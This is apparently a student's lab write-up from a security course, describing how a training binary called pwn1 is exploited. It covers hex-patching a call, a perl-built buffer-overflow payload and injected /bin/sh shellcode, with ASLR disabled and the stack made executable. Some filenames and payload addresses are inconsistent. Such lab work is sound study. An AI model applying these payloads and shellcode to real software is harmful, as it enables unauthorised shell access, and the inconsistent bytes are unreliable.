20242942 2024-2025-2《网络攻防实践》实验九

1.实践内容

1.1本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

1.2实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

掌握反汇编与十六进制编程器

能正确修改机器指令改变程序执行流程

能正确构造payload进行bof攻击

1.3知识点回顾

一、汇编指令的机器码

  1. NOP(No Operation)

    功能:不执行任何操作。它通常用于填充指令空间,例如在构造攻击载荷(payload)时,用于对齐地址等。

    机器码:在x86架构下,NOP的机器码通常是0x90

  2. JNE(Jump if Not Equal)

    功能:如果标志寄存器中的零标志(ZF)为0(即上一条比较指令的结果不相等),则跳转到指定的地址。

    机器码:机器码会根据跳转的偏移量有所不同。例如,短跳转(short jump)的机器码格式为0x75后跟一个字节的偏移量。

  3. JE(Jump if Equal)

    功能:如果零标志(ZF)为1(即上一条比较指令的结果相等),则跳转到指定的地址。

    机器码:短跳转的机器码格式为0x74后跟一个字节的偏移量。

  4. JMP(Jump)

    功能:无条件跳转到指定的地址。

    机器码:机器码会根据跳转的范围(短跳转、近跳转、远跳转)有所不同。短跳转的机器码格式为0xEB后跟一个字节的偏移量;近跳转(跳转到同一段内的地址)的机器码格式为0xE9后跟一个4字节的偏移量。

  5. CMP(Compare)

    功能:比较两个操作数,根据比较结果设置标志寄存器(如零标志ZF、进位标志CF等)。

    机器码:机器码会根据操作数的类型和大小有所不同。例如,比较两个字节的机器码格式为0x3C后跟一个字节的操作数;比较两个字的机器码格式为0x3D后跟一个字的操作数。

二、反汇编与十六进制编程器

  1. 反汇编

    概念:将机器码转换为汇编代码的过程。反汇编可以帮助我们理解程序的逻辑,找到关键的函数和指令。

    工具:常用的反汇编工具包括objdump(Linux下用于查看可执行文件的反汇编代码)、IDA Pro(功能强大的反汇编和调试工具,可以分析程序的控制流、数据结构等)、Ghidra(开源的反汇编和逆向工程工具),使用objdump -d pwn1可以查看pwn1程序的反汇编代码,找到main函数、foo函数和getShell函数的起始地址和对应的机器码。

  2. 十六进制编程器

    概念:用于查看和编辑二进制文件的工具。通过十六进制编程器,我们可以直接修改可执行文件中的机器码,从而改变程序的执行流程。

    工具:常用的十六进制编程器包括xxd(Linux下用于查看和编辑文件的十六进制内容)、HxD(Windows下的十六进制编辑器)、010 Editor(功能强大的十六进制编辑器,支持多种文件格式),使用xxd -p pwn1可以查看pwn1程序的十六进制内容,找到main函数中调用foo函数的指令对应的机器码,然后使用xxd -r或直接在十六进制编辑器中修改机器码,将其改为跳转到getShell函数的机器码。

三、修改机器指令改变程序执行流程

  1. 手工修改可执行文件通过修改可执行文件中的机器码,改变程序的执行流程。例如,将main函数中调用foo函数的指令改为跳转到getShell函数的指令。

    步骤

    1. 使用反汇编工具找到main函数中调用foo函数的指令地址和对应的机器码。
    2. 计算从main函数到getShell函数的偏移量。
    3. 使用十六进制编程器找到main函数中调用foo函数的机器码,将其修改为跳转到getShell函数的机器码。
  2. 利用Bof漏洞构造攻击载荷

    foo函数处理用户输入的字符串时,如果输入的字符串长度超过了缓冲区的大小,就会发生缓冲区溢出。通过精心构造攻击载荷,覆盖foo函数的返回地址,使其跳转到getShell函数。

    步骤

    1. 找到foo函数的缓冲区大小和返回地址的偏移量。
    2. 构造攻击载荷,包括填充缓冲区的字节、覆盖返回地址的地址(指向getShell函数)。
    3. 将攻击载荷输入到foo函数中,假设foo函数的缓冲区大小为64字节,返回地址在缓冲区之后的第4个字节,getShell函数的地址是0x2000,那么攻击载荷可以是64个填充字节 + 0x2000的地址(小端序)

四、注入并运行Shellcode

Shellcode:是一段可以在内存中直接执行的机器码,通常用于实现攻击者的意图(如获取Shell、执行系统命令等)。

注入Shellcode:通过漏洞(如缓冲区溢出)将Shellcode注入到目标程序的内存中,并使其执行。

根据目标系统和攻击目标,编写相应的Shellcode,将Shellcode注入到攻击载荷中,覆盖目标程序的返回地址,使其跳转到Shellcode的起始地址。

执行Shellcode:当目标程序执行攻击载荷时,跳转到Shellcode的起始地址,执行Shellcode。

假设目标系统是Linux x86架构,一个简单的获取Shell的Shellcode如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

构造攻击载荷:假设foo函数的缓冲区大小为64字节,返回地址在缓冲区之后的第4个字节,Shellcode的起始地址是0x1000,那么攻击载荷可以是64个填充字节 + Shellcode + 0x1000的地址(小端序)

2.实践过程

实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

根据作业要求,把主机或者是文件改为跟本人相关的数据,输入命令hostname zyl修改虚拟机主机名为zyl:

6fa8cca552ed37fe06b3f4d36ae70ff9

打开学习通的文件拉入kali中,修改pwn1文件名为pwn1_20242942,并输入命令objdump -d pwn1_20242942 | more查看其信息,一直按回车到main等函数:(这里最开始打不开文件是因为我放到了桌面上,把它移动到文件夹里就可以了)

26d6f4843d06f1da1fcd01ffcf3752a6

此时的main函数调用foo函数(8048491),假如想要调用getshell函数,需将其修改为804847d即

35e14a6785fcf57c03e682278296c774

输入命令vim pwn1_20241902对该文件进行编辑

137a999df5ea6e8c3583c80c08253836

输了入命令:%!xxd,把上面的数据格式改为16进制,找到上述函数调用位置如下:

e8adcbbf3da4c6c287f561b90605f333

将上面的 d7ff 改为 c3ff ,再去输入命令:%!xxd -r,转换成为原来的格式,保存并退出

7742c0095f6feeb4f416b1ff472513a7

baa9099c1d977c528cab22b63e43aa4f

00fb5173efdd60efb9caeb64f89a0dca

验证一下,再次输入命令objdump -d pwn1_20242942 | more查看其信息,一直回车到main等函数,可见此时main函数调用getshell(之前的数据 变为了更改之后的c3)

2252b5d969c9a8fc3e9af9a85de9f210

对未修改文件和已修改文件运行,可以看到修改之后成功执行了getshell,其获取系统权限

01b949f96788f82a195b315e65f9cc22

实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

命令行输入命令objdump -d pwn1_20242942 | more查看函数的详细信息,在缓冲区为28字节(0x1C),用此构造长字符串进行缓冲区溢出的攻击,使溢出值正好为getshell函数的起始地址804847d:

6d7b0e06138c2393fdb0cf84d985f756

构造了两个输入文件分别测试: perl -e 'print "11111111222222223333333344444444\x08\x04\x84\x7d"' > 20242942_2 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 20242942_1

d26b993463028e268971b5934a7d18a5

使用命令(cat 20242942_1;cat) | ./pwn1_20242942(cat 20242942_2;cat) | ./pwn1_20242942将上述两个文件分别作为程序的输入并执行:

可见输入文件1小端序成功运行getshell,获得系统控制权。

c1b7c2df2cc79e1fbe7f7f3c07d1d4e8

**实验三:注入一个自己制作的shellcode并运行这段shellcode

这里需要安装execstack,输入命令apt-get install execstack进行安装结果发现找不到目标文件,于是换个方式通过链接进行下载安装execstack

http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

af35c479a255301e241d7b1a37cf7e39

输入命令execstack -s pwn1_20242942设置堆栈的可执行状态并execstack -q pwn1_20242942查看是否设置成功:

输入命令more /proc/sys/kernel/randomize_va_space查看地址随机化的状态,发现开启则输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭:

4e939381663b97df80215c01761ecc83

为了找到shellcode的首地址,利用perl构造如下指令: perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20242942_3 输入命令(cat 20242942_3;cat) | ./pwn1_20241902

7c4412fdaaf1704034909b229ee10107

可见有好多个进程,因为之前在做实验1实验2的时候,有地方出错,故而又开启的,并不影响下述实验

选择一个进程号3871,打开一个新的终端,输入命令ps -ef | grep pwn1_20242942找到pwn1程序的进程号:输入命令attach 3871调试该进程

686dba0e63c97e105e84ecb1e222b7d5

输入命令disassemble foo对foo函数反编译,并break *0x080484ae设置断点:

a98819f165e377fa60c763103764c9fe

在第一个terminal按回车,在第二个terminal输入c,输入命令info r esp查看栈顶的地址esp,可见为0xffffcf8c:

输入命令x/16x 0xffffcf8c查看存放内容,可见构造的0x01020304:

a60c86760321e176d03949b08a643727

计算ff9cc980+00000004,并重新构造shellcode,即将\x4\x3\x2\x1改为\x90\xcf\xff\xff,新的shellcode利用perl生成输入文件,命令为: perl -e 'print "A" x 32;print "\x30\xd3\x84\x9c\xff\x0f\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > 20242942_3

f51ad300556b8a8d72d502996c29d1aa

cb9126286b648684d3e1d393f2aa1a4d

输入命令(cat 20242942_3;cat) | ./pwn1_20242942,运行pwn1_20242942,可见成功执行shellcode,获得系统权限:

bde9a7c1fc974cc3f5f24c380ae57e29

3.学习中遇到的问题及解决

问题1:对 pwn1 进行反汇编时,有 objdump: Warning: 'pwn1' is a directory 错误

问题1解决方案:切换到桌面 cd Desktop 或者是把文件放入home文件夹中,其实也是自己粗心,最开始没有在意这个问题,把pwn1拉进kali来放到桌面就直接做实验了

问题2:做实验二时候出现以下问题。

cca14b31ea4cb0a4bc45a6f63e1cf831

问题2解决方案:搜了一下是权限不够,输入chmod u+x ./pwn1_2024294提权

问题3:输入命令apt-get install execstack进行安装结果发现找不到目标文件

问题3解决方案:用网址直接下载,http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

4.实践总结

通过本次实践,我深入理解了程序执行流程的控制和内存管理的重要性,我学会了如何通过手工修改可执行文件来改变程序的执行路径,直接跳转到 getShell 函数,知道程序的脆弱性和安全性的重要性,利用 foo 函数的缓冲区溢出(BoF)漏洞,通过构造特定的攻击字符串来覆盖返回地址,触发 getShell 函数,加深了缓冲区溢出攻击的理解,用自定义的 shellcode,对汇编指令和内存操作有了更直观的认识。

参考资料

apt-get 找不到文件_unable to start 'apt-get': the specified file was -CSDN博客

【Linux】GDB保姆级调试指南(什么是GDB?GDB如何使用?)_gdb教程-CSDN博客

posted @ 2025-05-08 13:50  washiyoone  阅读(144)  评论(0)    收藏  举报